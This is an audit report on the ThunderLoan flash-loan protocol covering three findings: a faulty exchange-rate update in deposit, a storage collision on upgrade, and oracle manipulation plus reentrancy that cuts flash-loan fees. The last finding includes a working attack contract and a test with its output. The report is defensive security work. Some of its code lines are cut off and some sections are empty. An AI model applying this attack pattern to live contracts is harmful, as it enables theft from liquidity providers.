ThunderLoan Audit Report

0xVadar

June 15, 2024

Prepared by: Cyfrin Lead Auditors: - 0xVadar

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the deposit `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it is responsible for keeping track of how many fees to give to liquidity providers

However, the `deposit` function, updates this rate without collecting any fees!

```
 function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAl
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
@>       uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact There are several impact to this blog.

1. The `redeem` function is blocked because the protocol thinks the owed tokens are more than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less delivered

Proof of Concepts

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of Code

place the following code into `ThunderLoanTest.t.sol`

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

    vm.startPrank(user);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
    thunderLoan.flashLoan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended mitigation Remove the incorrectly updated exchange rate lines from `deposit`.

```
 function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAl
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-        uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

however, the upgraded contract `ThunderLoanUpgraded.sol` has them in different order:

```
    uint256 private s_flashLoanFee;
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecison`. You cannot adjust the position of storage of the storage variables, and removing storage variables for constant variables breaks the storage locations as well

Impact: After the upgrade, the `s_flashLoan` will have the value of `s_feePrecison`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot

Proof of Concept:

POC

Recommended Mitigation:

[M-2] Attacker can minimize ThunderLoan::flashloan fee via price oracle manipulation

Description: In ThunderLoan::flashloan the price of the fee is calculated on line 192 using the method ThunderLoan::getCalculatedFee:

```
    uint256 fee = getCalculatedFee(token, amount);
```

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
    //slither-disable-next-line divide-before-multiply
    uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecisio
    //slither-disable-next-line divide-before-multiply
    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

getCalculatedFee() uses the function OracleUpgradeable::getPriceInWeth to calculate the price of a single underlying token in WETH:

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

This function gets the address of the token-WETH pool, and calls TSwap-Pool::getPriceOfOnePoolTokenInWeth on the pool. This function's behavior is dependent on the implementation of the ThunderLoan::initialize argument tswapAddress but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation.

If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than s_feePrecision, resulting in a minimal value for valueOfBorrowedToken:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
```

Since a value of 0 for the fee would revert as assetToken.updateExchangeRate(fee); would revert since there is a check ensuring that the exchange rate increases, which with a 0 fee, the exchange rate would stay the same, hence the function will revert:

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
    // 1. Get the current exchange rate
    // 2. How big the fee is should be divided by the total supply
    // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multipl
    // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multip
    // it should always go up, never down
    // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply
    // newExchangeRate = 1 (4 + 0.5) / 4
    // newExchangeRate = 1.125
    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();

    // newExchangeRate = s_exchangeRate + fee/totalSupply();

    if (newExchangeRate <= s_exchangeRate) {
        revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
    }
    s_exchangeRate = newExchangeRate;
    emit ExchangeRateUpdated(s_exchangeRate);
}
```

flashloan() can be reentered on line 201-210:

```
receiverAddress.functionCall(
    abi.encodeWithSignature(
        "executeOperation(address,uint256,uint256,address,bytes)",
        address(token),
        amount,
        fee,
        msg.sender,
        params
    )
);
```

This means that an attacking contract can perform an attack by:

1. Calling flashloan() with a sufficiently small value for amount
2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the executionOperation callback

3. Re-calling flashloan() this time with a large value for amount but now the fee will be minimal, regardless of the size of the loan.
4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small 'fees for an arbitrarily large loan.

Impact: An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either:

1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price.
2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small.

The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding.

Proof of Concept:

The attacking contract implements an executeOperation function which, when called via the ThunderLoan contract, will perform the following sequence of function calls:

1. Calls the mock pool contract to set the price (simulating manipulating the price)
2. Repay the initial loan
3. Re-calls flashloan, taking a large loan now with a reduced fee
4. Repay second loan

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.so
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { MockTSwapPool } from "./MockTSwapPool.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";

contract AttackFlashLoanReceiver {
    error AttackFlashLoanReceiver__onlyOwner();
    error AttackFlashLoanReceiver__onlyThunderLoan();
```

```
using SafeERC20 for IERC20;

address s_owner;
address s_thunderLoan;

uint256 s_balanceDuringFlashLoan;
uint256 s_balanceAfterFlashLoan;

uint256 public attackAmount = 1e20;
uint256 public attackFee1;
uint256 public attackFee2;
address tSwapPool;
IERC20 tokenA;

constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) {
    s_owner = msg.sender;
    s_thunderLoan = thunderLoan;
    s_balanceDuringFlashLoan = 0;
    tSwapPool = _tSwapPool;
    tokenA = _tokenA;
}

function executeOperation(
    address token,
    uint256 amount,
    uint256 fee,
    address initiator,
    bytes calldata params
)
    external
    returns (bool)
{
    s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));

    // check if it is the first time through the reentrancy
    bool isFirst = abi.decode(params, (bool));

    if (isFirst) {
        // Manipulate the price
        MockTSwapPool(tSwapPool).setPrice(1e15);
        // repay the initial, small loan
        IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6);
        IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1);
        ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.en
        attackFee1 = fee;
```

```
                return true;
            } else {
                attackFee2 = fee;
                // simulate withdrawing the funds from the price pool
               //MockTSwapPool(tSwapPool).setPrice(1e18);
                // repay the second, large low fee loan
                IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2);
                IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2);
                return true;
            }
        }

        function getbalanceDuring() external view returns (uint256) {
            return s_balanceDuringFlashLoan;
        }

        function getBalanceAfter() external view returns (uint256) {
            return s_balanceAfterFlashLoan;
        }
}
```

The following test first calls flashloan() with the attacking contract, the executeOperation() callback then executes the attack.

```
function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits {
    uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price();
    console.log("price before: ", price);
    // borrow a large amount to perform the price oracle manipulation
    uint256 amountToBorrow = 1e6;
    bool isFirstCall = true;
    bytes memory params = abi.encode(isFirstCall);

    uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver

    // Give the attacking contract reserve tokens for the price oracle manipulation & paying
    // For a less funded attacker, they could use the initial flash loan to perform the man
    tokenA.mint(address(attackFlashLoanReceiver), AMOUNT);

    vm.startPrank(user);
    thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params)
    vm.stopPrank();
    assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2());
    uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price();
    console.log("price after: ", priceAfter);

    console.log("expectedSecondFee: ", expectedSecondFee);
    console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2());
    console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1());
}
```

```
$ forge test --mt test_poc_smallFeeReentrancy -vvvv

// output
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] test_poc_smallFeeReentrancy() (gas: 1162442)
Logs:
  price before:  1000000000000000000
  price after:  1000000000000000
  expectedSecondFee:  300000000000000000
  attackFee2:  300000000000000
  attackFee1:  3000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms
```

Since the test passed, the fee has been successfully reduced due to price oracle manipulation.

Recommended Mitigation: Use a manipulation-resistant oracle such as Chainlink.